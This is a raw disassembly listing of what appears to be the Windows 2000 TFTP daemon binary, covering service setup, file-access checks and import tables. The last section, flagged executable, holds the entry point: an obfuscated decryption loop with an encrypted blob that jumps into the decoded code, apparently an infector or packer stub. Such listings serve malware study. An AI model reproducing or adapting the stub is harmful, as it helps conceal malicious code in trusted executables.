loc_10038F6: ; CODE XREF: sub_10037BF+12Dj
cmp [ebp+Type], 1
jnz short loc_10038FF
inc [ebp+var_4]
loc_10038FF: ; CODE XREF: sub_10037BF+135j
; sub_10037BF+13Bj
push [ebp+hKey] ; hKey
call ds:RegCloseKey ; RegCloseKey
mov eax, [ebp+var_4]
pop esi
pop edi
loc_100390D: ; CODE XREF: sub_10037BF+32j
pop ebx
leave
retn
sub_10037BF endp
; =============== S U B R O U T I N E =======================================
sub_1003910 proc near ; CODE XREF: sub_1001665+193p
Dst = byte ptr -1F4h
sub esp, 1F4h
cmp byte ptr dword_1005E07+1, 0
push ebx
push ebp
push esi
push edi
mov ebp, 1F4h
mov ebx, (offset dword_1005E07+1)
jnz short loc_100393D
push ebp ; Count
push offset Source ; "\\tftpdroot\\"
push ebx ; Dest
call ds:strncpy ; strncpy
add esp, 0Ch
loc_100393D: ; CODE XREF: sub_1003910+1Bj
lea eax, [esp+204h+Dst]
push ebp ; nSize
push eax ; lpDst
push ebx ; lpSrc
call ds:ExpandEnvironmentStringsA ; ExpandEnvironmentStringsA
test eax, eax
jnz short loc_1003952
push 57h
jmp short loc_10039CA
; ---------------------------------------------------------------------------
loc_1003952: ; CODE XREF: sub_1003910+3Cj
mov ecx, eax
lea esi, [esp+204h+Dst]
mov edi, ebx
or edx, 0FFFFFFFFh
shr ecx, 2
rep movsd
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb
mov edi, ebx
mov ecx, edx
repne scasb
not ecx
dec ecx
cmp byte ptr dword_1005E07[ecx], 2Fh
lea eax, dword_1005E07[ecx]
jnz short loc_1003986
mov byte ptr [eax], 5Ch
loc_1003986: ; CODE XREF: sub_1003910+71j
cmp byte ptr [eax], 5Ch
jz short loc_10039B7
cmp ecx, ebp
jnb short loc_10039B7
mov edi, offset asc_100155C ; "\\"
mov ecx, edx
xor eax, eax
repne scasb
not ecx
sub edi, ecx
mov esi, edi
mov ebp, ecx
mov edi, ebx
mov ecx, edx
repne scasb
mov ecx, ebp
dec edi
shr ecx, 2
rep movsd
mov ecx, ebp
and ecx, 3
rep movsb
loc_10039B7: ; CODE XREF: sub_1003910+79j
; sub_1003910+7Dj
mov edi, ebx
mov ecx, edx
xor eax, eax
push 1
repne scasb
not ecx
dec ecx
mov dword_1005FFC, ecx
loc_10039CA: ; CODE XREF: sub_1003910+40j
pop eax
pop edi
pop esi
pop ebp
pop ebx
add esp, 1F4h
retn
sub_1003910 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_10039D6 proc near ; CODE XREF: sub_1002F31+148p
; sub_1002F31+159p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push esi
mov esi, [ebp+arg_0]
push edi
mov al, [esi]
test al, al
jz short loc_1003A2E
cmp al, 2Ah
jz short loc_1003A04
cmp al, 3Fh
jz short loc_10039F7
mov ecx, [ebp+arg_4]
cmp al, [ecx]
jnz short loc_1003A25
inc ecx
push ecx
jmp short loc_1003A01
; ---------------------------------------------------------------------------
loc_10039F7: ; CODE XREF: sub_10039D6+14j
mov eax, [ebp+arg_4]
cmp byte ptr [eax], 0
jz short loc_1003A25
inc eax
push eax
loc_1003A01: ; CODE XREF: sub_10039D6+1Fj
inc esi
jmp short loc_1003A1B
; ---------------------------------------------------------------------------
loc_1003A04: ; CODE XREF: sub_10039D6+10j
mov edi, [ebp+arg_4]
lea eax, [esi+1]
push edi
push eax
call sub_10039D6
test eax, eax
jnz short loc_1003A29
cmp [edi], al
jz short loc_1003A25
inc edi
push edi
loc_1003A1B: ; CODE XREF: sub_10039D6+2Cj
push esi
call sub_10039D6
test eax, eax
jnz short loc_1003A29
loc_1003A25: ; CODE XREF: sub_10039D6+1Bj
; sub_10039D6+27j ...
xor eax, eax
jmp short loc_1003A38
; ---------------------------------------------------------------------------
loc_1003A29: ; CODE XREF: sub_10039D6+3Dj
; sub_10039D6+4Dj
push 1
pop eax
jmp short loc_1003A38
; ---------------------------------------------------------------------------
loc_1003A2E: ; CODE XREF: sub_10039D6+Cj
mov ecx, [ebp+arg_4]
xor eax, eax
cmp [ecx], al
setz al
loc_1003A38: ; CODE XREF: sub_10039D6+51j
; sub_10039D6+56j
pop edi
pop esi
pop ebp
retn 8
sub_10039D6 endp
; [00000006 BYTES: COLLAPSED FUNCTION _chkstk. PRESS KEYPAD "+" TO EXPAND]
; [00000006 BYTES: COLLAPSED FUNCTION NotifyAddrChange. PRESS KEYPAD "+" TO EXPAND]
; [00000006 BYTES: COLLAPSED FUNCTION GetIpAddrTable. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_1001560
push offset loc_1003BF0
mov eax, large fs:0
push eax
mov large fs:0, esp
add esp, 0FFFFFFE0h
push ebx
push esi
push edi
mov [ebp-18h], esp
mov dword ptr [ebp-4], 0
push 1
call ds:__set_app_type ; __set_app_type
add esp, 4
mov dword_10062D0, 0FFFFFFFFh
mov dword_10062D4, 0FFFFFFFFh
call ds:__p__fmode ; __p__fmode
mov ecx, dword_100600C
mov [eax], ecx
call ds:__p__commode ; __p__commode
mov edx, dword_1006008
mov [eax], edx
mov eax, ds:_adjust_fdiv
mov ecx, [eax]
mov dword_10062D8, ecx
call nullsub_2
mov eax, dword_1005DC4
test eax, eax
jnz short loc_1003AE1
push offset loc_1003BD0
call ds:__setusermatherr ; __setusermatherr
add esp, 4
loc_1003AE1: ; CODE XREF: .text:01003AD1j
call sub_1003BB0
push offset dword_100500C
push offset dword_1005008
call _initterm ; _initterm
add esp, 8
mov edx, dword_1006004
mov [ebp-28h], edx
lea eax, [ebp-28h]
push eax
mov ecx, dword_1006000
push ecx
lea edx, [ebp-20h]
push edx
lea eax, [ebp-2Ch]
push eax
lea ecx, [ebp-1Ch]
push ecx
call ds:__getmainargs ; __getmainargs
add esp, 14h
push offset dword_1005004
push offset dword_1005000
call _initterm ; _initterm
add esp, 8
call ds:__p___initenv ; __p___initenv
mov edx, [ebp-20h]
mov [eax], edx
mov eax, [ebp-20h]
push eax
mov ecx, [ebp-2Ch]
push ecx
mov edx, [ebp-1Ch]
push edx
call sub_1001570
; ---------------------------------------------------------------------------
add esp, 0Ch
mov [ebp-24h], eax
push eax
call ds:exit ; exit
; ---------------------------------------------------------------------------
jmp short loc_1003B80
; ---------------------------------------------------------------------------
mov eax, [ebp-14h]
mov ecx, [eax]
mov ecx, [ecx]
mov [ebp-30h], ecx
push eax
push ecx
call _XcptFilter ; _XcptFilter
add esp, 8
retn
; ---------------------------------------------------------------------------
mov esp, [ebp-18h]
mov edx, [ebp-30h]
push edx
call ds:_exit ; _exit
; ---------------------------------------------------------------------------
loc_1003B80: ; CODE XREF: .text:01003B5Cj
add esp, 4
mov dword ptr [ebp-4], 0FFFFFFFFh
mov ecx, [ebp-10h]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; [00000006 BYTES: COLLAPSED FUNCTION _XcptFilter. PRESS KEYPAD "+" TO EXPAND]
; [00000006 BYTES: COLLAPSED FUNCTION _initterm. PRESS KEYPAD "+" TO EXPAND]
align 10h
; =============== S U B R O U T I N E =======================================
sub_1003BB0 proc near ; CODE XREF: .text:loc_1003AE1p
push 30000h ; Mask
push 10000h ; NewValue
call _controlfp ; _controlfp
add esp, 8
retn
sub_1003BB0 endp
; ---------------------------------------------------------------------------
align 10h
loc_1003BD0: ; DATA XREF: .text:01003AD3o
xor eax, eax
retn
; ---------------------------------------------------------------------------
align 10h
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_2. PRESS KEYPAD "+" TO EXPAND]
align 10h
loc_1003BF0: ; DATA XREF: .text:01003A5Ao
jmp ds:_except_handler3
; [00000006 BYTES: COLLAPSED FUNCTION _controlfp. PRESS KEYPAD "+" TO EXPAND]
dd 3D7Ch, 2 dup(0FFFFFFFFh), 3E60h, 10F4h, 3CA4h, 2 dup(0FFFFFFFFh)
dd 4012h, 101Ch, 3C88h, 2 dup(0FFFFFFFFh), 40A2h, 1000h
dd 3DCCh, 2 dup(0FFFFFFFFh), 4172h, 1144h, 3DC0h, 2 dup(0FFFFFFFFh)
dd 41A2h, 1138h, 3D04h, 2 dup(0FFFFFFFFh), 42F6h, 107Ch
dd 5 dup(0)
dd 4092h, 4020h, 407Eh, 4070h, 4052h, 403Eh, 0
dd 3E6Ch, 3FF6h, 3FE6h, 3FCEh, 3FBEh, 3FB2h, 3FA2h, 3E7Ah
dd 3E8Ah, 3EA0h, 3EB0h, 3ECCh, 3EDAh, 3EF2h, 3EFEh, 3F0Ch
dd 3F24h, 3F3Ch, 3F56h, 3F62h, 3F70h, 3F78h, 3F92h, 0
dd 4282h, 4272h, 428Eh, 4230h, 4226h, 421Eh, 4214h, 420Ah
dd 4200h, 41F8h, 41F0h, 41E6h, 41DCh, 41D2h, 41CAh, 41C2h
dd 4302h, 42E2h, 42D0h, 42C2h, 42B2h, 42A2h, 41B8h, 4262h
dd 4254h, 424Ch, 423Ah, 4242h, 41B0h, 0
dd 3E52h, 8000006Fh, 80000073h, 3E08h, 80000009h, 3E1Ah
dd 8000000Fh, 3E34h, 8000000Ah, 3E42h, 80000003h, 8000000Ch
dd 80000002h, 80000037h, 80000017h, 80000014h, 0
dd 417Ch, 4190h, 0
dd 4126h, 4168h, 415Eh, 4154h, 4142h, 4130h, 411Ah, 4112h
dd 410Ah, 40F4h, 40EAh, 40D4h, 40B0h, 40C2h, 0
dd 53570019h, 65764541h, 6553746Eh, 7463656Ch, 1B0000h
aWsagetoverlapp db 'WSAGetOverlappedResult',0
align 4
a2 db '2',0
aWsarecvfrom db 'WSARecvFrom',0
dw 0Fh
aWsacloseevent db 'WSACloseEvent',0
db '=',0
aWsasocketa db 'WSASocketA',0
align 10h
aWs2_32_dll db 'WS2_32.dll',0
align 4
aM db 'Œ',0
aExitprocess db 'ExitProcess',0
dw 12Dh
aGetlasterror db 'GetLastError',0
align 2
dw 2FDh
aWaitforsingleo db 'WaitForSingleObject',0
a4 db '4',0
aCreateeventa db 'CreateEventA',0
align 10h
db 0C5h ; Å
db 1, 49h, 6Eh
aItializecritic db 'itializeCriticalSection',0
dd 654801B6h, 72437061h, 65746165h, 1DE0000h
aLeavecriticals db 'LeaveCriticalSection',0
align 2
dw 1BAh
aHeapfree db 'HeapFree',0
align 2
dw 1Eh
aClosehandle db 'CloseHandle',0
aO db 'o',0
aEntercriticals db 'EnterCriticalSection',0
align 4
retf
; ---------------------------------------------------------------------------
db 1, 49h, 6Eh
aTerlockedincre db 'terlockedIncrement',0
align 4
db 0FBh ; û
db 2, 57h, 61h
aItformultipleo db 'itForMultipleObjects',0
align 2
dw 1B4h
aHeapalloc db 'HeapAlloc',0
dw 252h
aResetevent db 'ResetEvent',0
align 10h
retn
; ---------------------------------------------------------------------------
db 2, 53h, 6Ch
db 65h ; e
db 65h, 70h, 0
db 0D8h ; Ø
db 2, 54h, 72h
aYentercritical db 'yEnterCriticalSection',0
dw 2C5h
aSuspendthread db 'SuspendThread',0
dw 254h
aResumethread db 'ResumeThread',0
db 0, 90h, 2
aSetevent db 'SetEvent',0
align 2
dw 29Ch
aSetlasterror db 'SetLastError',0
align 2
aZ db 'Z',0
aDeletecritical db 'DeleteCriticalSection',0
dw 12Fh
aGetlocaltime db 'GetLocalTime',0
align 2
aP db '',0
aExpandenvironm db 'ExpandEnvironmentStringsA',0
aKernel32_dll db 'KERNEL32.dll',0
align 10h
db 0E5h ; å
db 1, 53h, 74h
aArtservicectrl db 'artServiceCtrlDispatcherA',0
dw 1DFh
aSetservicestat db 'SetServiceStatus',0
align 2
dw 1B9h
aRegisterservic db 'RegisterServiceCtrlHandlerA',0
db 84h ; „
db 1, 52h, 65h
aGclosekey db 'gCloseKey',0
dw 1A7h
aRegqueryvaluee db 'RegQueryValueExA',0
align 2
dw 19Dh
aRegopenkeyexa db 'RegOpenKeyExA',0
aAdvapi32_dll db 'ADVAPI32.dll',0
align 10h
db 50h ; P
db 2, 52h, 74h
aLregisterwait db 'lRegisterWait',0
dw 184h
aRtlcreatetimer db 'RtlCreateTimer',0
align 4
db 85h ; …
db 1, 52h, 74h
aLcreatetimerqu db 'lCreateTimerQueue',0
dw 42Eh
a_chkstk db '_chkstk',0
db 0A1h ; ¡
db 1, 52h, 74h
aLderegisterwai db 'lDeregisterWaitEx',0
dw 433h
a_itoa db '_itoa',0
dw 450h
aAtoi db 'atoi',0
align 2
dw 43Dh
a_stricmp db '_stricmp',0
align 2
dw 46Dh
aMemmove db 'memmove',0
dd 7452019Dh, 6C65446Ch, 54657465h, 72656D69h, 2990000h
dd 556C7452h, 74616470h, 6D695465h, 7265h, 6F740486h, 65776F6Ch
dd 45F0072h, 70757369h, 726570h, 7473047Dh, 70636E72h
dd 746E0079h, 2E6C6C64h, 6C6C64h, 6F4E004Fh, 79666974h
dd 72646441h, 6E616843h, 6567h, 65470022h, 41704974h, 54726464h
dd 656C6261h, 70690000h, 61706C68h, 642E6970h, 6C6Ch, 78650246h
dd 7469h, 7270029Bh, 66746E69h, 2430000h, 6D697463h, 2540065h
dd 65706F66h, 17F006Eh, 646B6D5Fh, 7269h, 655F00C5h, 6F6E7272h
dd 0AA0000h, 6468635Fh, 7269h, 697402CDh, 656Dh, 7266025Bh
dd 6565h, 63660249h, 65736F6Ch, 2A40000h, 6C616572h, 636F6Ch
dd 616D028Eh, 636F6C6Ch, 1950000h, 6165725Fh, 0B00064h
dd 6F6C635Fh, 6573h, 6C5F0141h, 6B656573h, 1840000h, 65706F5Fh
dd 214006Eh, 6972775Fh, 6574h, 655F00D0h, 746978h, 585F0048h
dd 46747063h, 65746C69h, 630072h, 5F705F5Fh, 6E695F5Fh
dd 6E657469h, 580076h, 65675F5Fh, 69616D74h, 6772616Eh
dd 10C0073h, 696E695Fh, 72657474h, 82006Dh, 65735F5Fh
dd 65737574h, 74616D72h, 72726568h, 9B0000h, 6A64615Fh
dd 5F747375h, 76696466h, 690000h, 5F705F5Fh, 6D6F635Fh
dd 65646F6Dh, 6E0000h, 5F705F5Fh, 6F6D665Fh, 6564h, 5F5F0080h
dd 5F746573h, 5F707061h, 65707974h, 0C70000h, 6378655Fh
dd 5F747065h, 646E6168h, 3372656Ch, 534D0000h, 54524356h
dd 6C6C642Eh, 0B40000h, 6E6F635Fh, 6C6F7274h, 7066h, 3Ch dup(0)
_text ends
; Section 2. (virtual address 00005000)
; Virtual size : 000012DC ( 4828.)
; Section size in file : 00000E00 ( 3584.)
; Offset to raw data for section: 00003A00
; Flags C0000040: Data Readable Writable
; Alignment : default
; ===========================================================================
; Segment type: Pure data
; Segment permissions: Read/Write
_data segment para public 'DATA' use32
assume cs:_data
;org 1005000h
dword_1005000 dd 0 dword_1005004 dd 0 dword_1005008 dd 0 dword_100500C dd 0 ; char Format[]
Format db ' ================================================================'
; DATA XREF: sub_1001570+4Do
db '======== ',0Ah
db 'Abstract: '
db ' ',0Ah
db ' This implements an RFC 783 tftp daemon. '
db ' ',0Ah
db ' It listens on port 69 for requests '
db ' ',0Ah
db ' and spawns a thread to process each request. '
db ' ',0Ah
db ' '
db ' ',0Ah
db 'TFTPD USAGE and Installation: '
db ' ',0Ah
db ' '
db ' ',0Ah
db ' md d:/tftpd (the StartDirec'
db 'tory). ',0Ah
db ' copy //MohsinA_p90/test/tftpd.exe . '
db ' ',0Ah
db ' sc create tftpd binPath= d:/tftpd/tftpd.exe (give full path'
db '). ',0Ah
db ' sc query tftpd (check if insta'
db 'lled). ',0Ah
db ' '
db ' ',0Ah
db 'Start: '
db ' ',0Ah
db ' sc start tftpd -f (creates a log '
db 'file). ',0Ah
db 'or sc start tftpd '
db ' ',0Ah
db 'or net start tftpd '
db ' ',0Ah
db 'or sc start tftpd [-dStartDirectory] [-e] [-f] '
db ' ',0Ah
db ' Options: -e use event log. '
db ' ',0Ah
db ' -f log to file. '
db ' ',0Ah
db ' -dStartDirectory '
db ' ',0Ah
db 'Info: '
db ' ',0Ah
db ' sc interrogate tftpd (logs will be updated). '
db ' ',0Ah
db ' sc query tftpd Check whether running. '
db ' ',0Ah
db 'Stop: '
db ' ',0Ah
db ' sc stop tftpd '
db ' ',0Ah
db ' net stop tftpd '
db ' ',0Ah
db ' '
db ' ',0Ah
db 'Variables that control what files can be read/written and by whom'
db ': ',0Ah
db ' StartDirectory - only files there will be accessible. '
db ' ',0Ah
db ' LogFile is created here. '
db ' ',0Ah
db ' ValidClients - Clients matching this ip address can read files'
db '. ',0Ah
db ' eg. you can set it to "157.55.8?.*" '
db ' ',0Ah
db ' ValidMasters - clients matching this can write and read file'
db 's. ',0Ah
db ' eg. you can set it to "" and no one can write'
db '. ',0Ah
db ' ValidReadFiles - only matching files will be served out, eg. "'
db 'r*.t?t"',0Ah
db ' ValidWriteFiles- only matching files will be accepted, eg. "w'
db '*.txt" ',0Ah
db ' '
db ' ',0Ah
db 'Client: '
db ' ',0Ah
db ' tftp [-i] servername {get|put} src_file dest_file '
db ' ',0Ah
db ' -i from binary mode, else ascii mode is used. '
db ' ',0Ah
db ' '
db ' ',0Ah
db ' ================================================================'
db '======== ',0Ah,0
align 8
; char ServiceName[]
ServiceName db 'Tftpd',0 ; DATA XREF: sub_1001665+Bo
; .data:ServiceStartTableo
align 10h
; SERVICE_TABLE_ENTRYA ServiceStartTable
ServiceStartTable SERVICE_TABLE_ENTRYA <offset ServiceName, offset sub_1001665>
; DATA XREF: sub_1001570:loc_1001646o
; "Tftpd"
align 10h
off_1005CC0 dd offset aErrorUndefined ; DATA XREF: sub_100230A+73r
; "Error undefined"
dd offset aFileNotFound ; "File not found"
dd offset aAccessViolatio ; "Access violation"
dd offset aDiskFullOrAllo ; "Disk full or allocation exceeded"
dd offset aIllegalTftpOpe ; "Illegal TFTP operation"
dd offset aUnknownTransfe ; "Unknown transfer ID"
dd offset aFileAlreadyExi ; "File already exists"
dd offset aNoSuchUser ; "No such user"
dd offset aOptionNegotiat ; "Option negotiation failure"
align 8
; BYTE Data
Data db 2Ah ; DATA XREF: sub_1002F31+143o
; sub_10037BF+87o
align 4
dd 0Dh dup(0)
; BYTE byte_1005D20
byte_1005D20 db 2Ah ; DATA XREF: sub_1002F31+154o
; sub_100333A+163o ...
align 4
dd 0Dh dup(0)
; BYTE byte_1005D58
byte_1005D58 db 2Ah ; DATA XREF: sub_1002F31+165o
; sub_10037BF+EAo
align 4
dd 0Dh dup(0)
; BYTE byte_1005D90
byte_1005D90 db 2Ah ; DATA XREF: sub_100333A+178o
; sub_10037BF+11Ao
align 4
dd 0Ch dup(0)
dword_1005DC4 dd 1 align 10h
; FILE *File
File dd 0 ; DATA XREF: sub_1001665+1E5w
; sub_1001E73:loc_1001F36r ...
dword_1005DD4 dd 0 dword_1005DD8 dd 0 ; sub_1001665:loc_100182Er ...
; HANDLE hHandle
hHandle dd 0 ; DATA XREF: sub_1001665+84w
; sub_1001665+8Br ...
; HANDLE hObject
hObject dd 0 ; DATA XREF: sub_1001665+91w
; sub_1001E73:loc_1001F0Cr ...
align 8
; volatile LONG Addend
Addend dd 0 ; DATA XREF: sub_1001A91+26Eo
; sub_1001A91+2B3o
; HANDLE hHeap
hHeap dd 0 ; DATA XREF: sub_10019F0+29w
; sub_1001A1F+52r ...
dword_1005DF0 dd 0 ; sub_1001A1F+5Ew ...
dword_1005DF4 dd 0 ; sub_1001A91+59w ...
dword_1005DF8 dd 0 ; sub_10018DB+EFr
dword_1005DFC dd 0 ; HANDLE Handle
Handle dd ? ; DATA XREF: sub_10018DB+F4o
; sub_1002219+D5o
db 3 dup(?)
dword_1005E07 dd ? ; sub_1003910+6Br ...
align 4
dd 7Ch dup(?)
dword_1005FFC dd ? dword_1006000 dd ? dword_1006004 dd ? dword_1006008 dd ? dword_100600C dd ? dd 4 dup(?)
; struct _RTL_CRITICAL_SECTION stru_1006020
stru_1006020 _RTL_CRITICAL_SECTION <?> ; DATA XREF: sub_10018DB+14o
; .text:01001D78o ...
; void *Memory
Memory dd ? ; DATA XREF: sub_10018DB+2Ao
; sub_10018DB+34w ...
dword_100603C dd ? ; HANDLE hThread
hThread dd ? ; DATA XREF: HandlerProc:loc_1001E1Dr
; HandlerProc:loc_1001E35r
; SERVICE_STATUS_HANDLE hServiceStatus
hServiceStatus dd ? ; DATA XREF: sub_1001665+52w
; sub_1001665+DBr ...
dword_1006048 dd 6 dup(?) ; struct _RTL_CRITICAL_SECTION stru_1006060
stru_1006060 _RTL_CRITICAL_SECTION <?> ; DATA XREF: sub_10019F0+5o
; sub_1001A1F+2o ...
; LPVOID lpMem
lpMem dd ? ; DATA XREF: sub_10019F0o
; sub_10019F0+Fw ...
dword_100607C dd ? ; struct _RTL_CRITICAL_SECTION CriticalSection
CriticalSection _RTL_CRITICAL_SECTION <?> ; DATA XREF: sub_10018DB+Do
; sub_100287F+1o ...
dword_1006098 dd ? ; sub_10018DB+25w ...
dword_100609C dd ? dword_10060A0 dd ? ; sub_10018DB+A2r ...
dd 7 dup(?)
; time_t Time
Time dq ? ; DATA XREF: sub_1001665+10Ao
; sub_1001665:loc_1001857o ...
dword_10060C8 dd ? dword_10060CC dd ? dd 0Ch dup(?)
; struct _OVERLAPPED overlapped
overlapped _OVERLAPPED <?> ; DATA XREF: sub_10018DB+E0o
; sub_1002219:loc_10022E9o
align 10h
; struct _SERVICE_STATUS ServiceStatus
ServiceStatus _SERVICE_STATUS <?> ; DATA XREF: sub_1001665+10w
; sub_1001665+63o ...
align 10h
; struct WSAData stru_1006140
stru_1006140 WSAData <?> ; DATA XREF: sub_1001665+9Co
dword_10062D0 dd ? dword_10062D4 dd ? dword_10062D8 dd ? align 200h
_data ends
; Section 3. (virtual address 00007000)
; Virtual size : 00010400 ( 66560.)
; Section size in file : 0000B000 ( 45056.)
; Offset to raw data for section: 00004800
; Flags E0000060: Text Data Executable Readable Writable
; Alignment : default
; ===========================================================================
; Segment type: Pure code
; Segment permissions: Read/Write/Execute
_rsrc segment para public 'CODE' use32
assume cs:_rsrc
;org 1007000h
assume es:nothing, ss:nothing, ds:nothing, fs:nothing, gs:nothing
dd 3 dup(0)
dd 10000h, 10h, 80000018h, 3 dup(0)
dd 10000h, 1, 80000030h, 3 dup(0)
dd 10000h, 409h, 48h, 7060h, 374h, 4 dup(0)
dd 340374h, 560000h, 5F0053h, 450056h, 530052h, 4F0049h
dd 5F004Eh, 4E0049h, 4F0046h, 0
dd 0FEEF04BDh, 10000h, 50000h, 8560001h, 50000h, 8560001h
dd 3Fh, 0
dd 40004h, 1, 3 dup(0)
dd 2D4h, 530001h, 720074h, 6E0069h, 460067h, 6C0069h, 490065h
dd 66006Eh, 6Fh, 2B0h, 300001h, 300034h, 300039h, 420034h
dd 30h, 16004Ch, 430001h, 6D006Fh, 610070h, 79006Eh, 61004Eh
dd 65006Dh, 0
aMicrosoftCorpo:
unicode 0, <Microsoft Corporation>,0
aR:
unicode 0, <r%>
dd 460001h, 6C0069h, 440065h, 730065h, 720063h, 700069h
dd 690074h, 6E006Fh, 0
aTcpIpTrivialFi:
unicode 0, <TCP/IP Trivial file transfer daemon.>,0
align 4
a8 db '8',0
dw 0Ch
dd 460001h, 6C0069h, 560065h, 720065h, 690073h, 6E006Fh
dd 0
a5_00_2134_1:
unicode 0, <5.00.2134.1>,0
a4_0:
unicode 0, <4>
dw 0Ah
dd 490001h, 74006Eh, 720065h, 61006Eh, 4E006Ch, 6D0061h
dd 65h, 660074h, 700074h, 2E0064h, 780065h, 65h, 280074h
dd 4C0001h, 670065h, 6C0061h, 6F0043h, 790070h, 690072h
dd 680067h, 74h, 6F0043h, 790070h, 690072h, 680067h, 200074h
dd 430028h, 200029h, 69004Dh, 720063h, 73006Fh, 66006Fh
dd 200074h, 6F0043h, 700072h, 20002Eh, 390031h, 310038h
dd 31002Dh, 390039h, 39h, 0A003Ch, 4F0001h, 690072h, 690067h
dd 61006Eh, 46006Ch, 6C0069h, 6E0065h, 6D0061h, 65h, 660074h
dd 700074h, 2E0064h, 780065h, 65h, 2F007Eh, 500001h, 6F0072h
dd 750064h, 740063h, 61004Eh, 65006Dh, 0
aMicrosoftRWind:
unicode 0, <Microsoft(R) Windows (R) 2000 Operating System>,0
align 4
db '<',0
dw 0Ch
dd 500001h, 6F0072h, 750064h, 740063h, 650056h, 730072h
dd 6F0069h, 6Eh, 2E0035h, 300030h, 32002Eh, 330031h, 2E0034h
dd 31h, 44h, 560001h, 720061h, 690046h, 65006Ch, 6E0049h
dd 6F0066h, 0
dd 40024h, 540000h, 610072h, 73006Eh, 61006Ch, 690074h
dd 6E006Fh, 0
dd 4B00409h, 0Bh dup(0)
assume ds:_data
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
public start
start proc near
; FUNCTION CHUNK AT 01007466 SIZE 00000002 BYTES
nop
push ebp
mov ebp, esp
call loc_1007416
nop
mov eax, eax
call sub_10074D8
jmp loc_1007466
start endp ; sp-analysis failed
; ---------------------------------------------------------------------------
loc_1007416: ; CODE XREF: start+4p
push dword ptr fs:0
mov fs:0, esp
add ds:dword_1007469, ebp
cld
nop
xor ebx, ebx
push ebx
push ebx
push ebx
push ebx
push 1
push ebx
push 80000000h
push 8000h
push ebx
push ebx
push ebx
push ebx
call sub_100F400
add [ecx], esi
leave
push ecx
push 10h
push ecx
push 80000000h
push ecx
push ecx
push ecx
push 1
call ds:GetLastError
; START OF FUNCTION CHUNK FOR start
loc_1007466: ; CODE XREF: start+11j
xchg ebx, ebx
; END OF FUNCTION CHUNK FOR start
; ---------------------------------------------------------------------------
db 0BDh
dword_1007469 dd 0 align 10h
mov edi, [ebp-8]
mov fs:0, edi
clc
nop
cld
clc
sub edi, edi
sub ecx, ecx
jmp short $+2
nop
clc
mov cl, 6Fh
nop
xchg ebx, ebx
mov eax, eax
loc_100748C: ; CODE XREF: .rsrc:01007491j
lea edi, [edi+1]
jmp short $+2
loop loc_100748C
stc
call sub_10074CB
nop
stc
sub esi, 0FFFFFFA6h
sub ecx, ecx
or ecx, 2990h
cmc
nop
push esi
cmc
loc_10074AD: ; CODE XREF: .rsrc:010074BDj
call sub_10074E7
stc
inc esi
inc edi
sub ecx, 1
nop
stc
cmp ecx, 0
jnz short loc_10074AD
pop esi
stc
mov ebx, ebx
leave
cld
jmp esi
; ---------------------------------------------------------------------------
jmp short $+2
mov edx, edx
; =============== S U B R O U T I N E =======================================
sub_10074CB proc near ; CODE XREF: .rsrc:01007494p
pop esi
clc
cmc
clc
jmp short $+2
mov ebx, ebx
jmp esi
sub_10074CB endp ; sp-analysis failed
; ---------------------------------------------------------------------------
jmp short $+2
stc
; =============== S U B R O U T I N E =======================================
sub_10074D8 proc near ; CODE XREF: start+Cp
arg_C = dword ptr 10h
mov ecx, [esp+arg_C]
xor eax, eax
pop dword ptr [ecx+0B8h]
retn
sub_10074D8 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
db 89h, 0C0h
; =============== S U B R O U T I N E =======================================
sub_10074E7 proc near ; CODE XREF: .rsrc:loc_10074ADp
xchg al, [esi]
xchg ebx, ebx
sub ax, di
nop
xchg al, [esi]
retn
sub_10074E7 endp
; ---------------------------------------------------------------------------
dw 57F9h
dd 73727170h, 739A79FFh, 0A4F90103h, 17077D7Ch, 8382B347h
dd 87866605h, 0E7158D88h, 0BA0291B0h, 5E421AE9h, 219695C6h
dd 9BC31C20h, 6E56269Ch, 23A2A1D2h, 0AF1A8D9Dh, 0D42F4133h
dd 0B899ADACh, 0DC3649B3h, 1241B5B4h, 10D544BAh, 2B3FA547h
dd 0FD6AC5E4h, 0B447C5C4h, 0CBDAD9CDh, 0D3F24957h, 0C62865Dh
dd 0D78FD5E4h, 0CEDAD9D8h, 0DF90C580h, 0AB6DE1E0h, 0E7E690CCh
dd 5FAB14E8h, 0F0EE2A65h, 6569F1F0h, 0E7F6D875h, 767BF8F7h
dd 6866514Ah, 840A7573h, 70705EFh, 96F97E08h, 4B5110CFh
dd 798A619Bh, 5C664D95h, 0EE1D028Dh, 0AA3E8FA7h, 1625396Ah
dd 0EA29D275h, 2DA2AA8Eh, 38A37DA0h, 0A237A9B1h, 0AB9A7697h
dd 94241B3Dh, 4B676527h, 67B4CC64h, 5639489Dh, 0D6984DFFh
dd 4A5169C6h, 56D985DBh, 98DBE247h, 0C15A6969h, 4745ADE7h
dd 63626195h, 0ECF1AF4Fh, 6B7AA2ECh, 6F6E6D91h, 0FE91E574h
dd 47A99F0h, 8BB3012Dh, 1C092A7Ch, 8392C34Ch, 4411292Fh
dd 8B9ACB5Ch, 0D15E4217h, 56EF91A0h, 759C6A3h, 0DE53ECB9h
dd 2A9E9DC4h, 0CDB2D17Ah, 0A8662877h, 8130882Eh, 7209A08Eh
dd 0B3B2DE48h, 88025144h, 0D8C2B17Bh, 1ECAFC7Ah, 0F1410BB0h
dd 4F4C175Dh, 44F25EE8h, 40AE201Ch, 573345D2h, 0A22C5FC9h
dd 47DBD2B6h, 8294915Fh, 0DBA00455h, 8D9314F4h, 0EC716E18h
dd 406FFC10h, 856435F4h, 0C416C2F3h, 0D4C3A447h, 196E02FAh
dd 0DB853B18h, 0A0663714h, 0B64935BCh, 962D70BBh, 0E322E06Eh
dd 22458429h, 675A8749h, 3E77B36Ch, 0E0A30A00h, 713B7D28h
dd 0E5EA9E9Ah, 41234709h, 83B79FA0h, 0CC56C4B9h, 0E71F17EFh
dd 399E4801h, 0F042BDB3h, 3CE6DC44h, 6F1F1ADDh, 0A6B1609Ch
dd 3621548h, 423C2DE4h, 87AAB8C6h, 3733DF2Dh, 88E23A2Eh
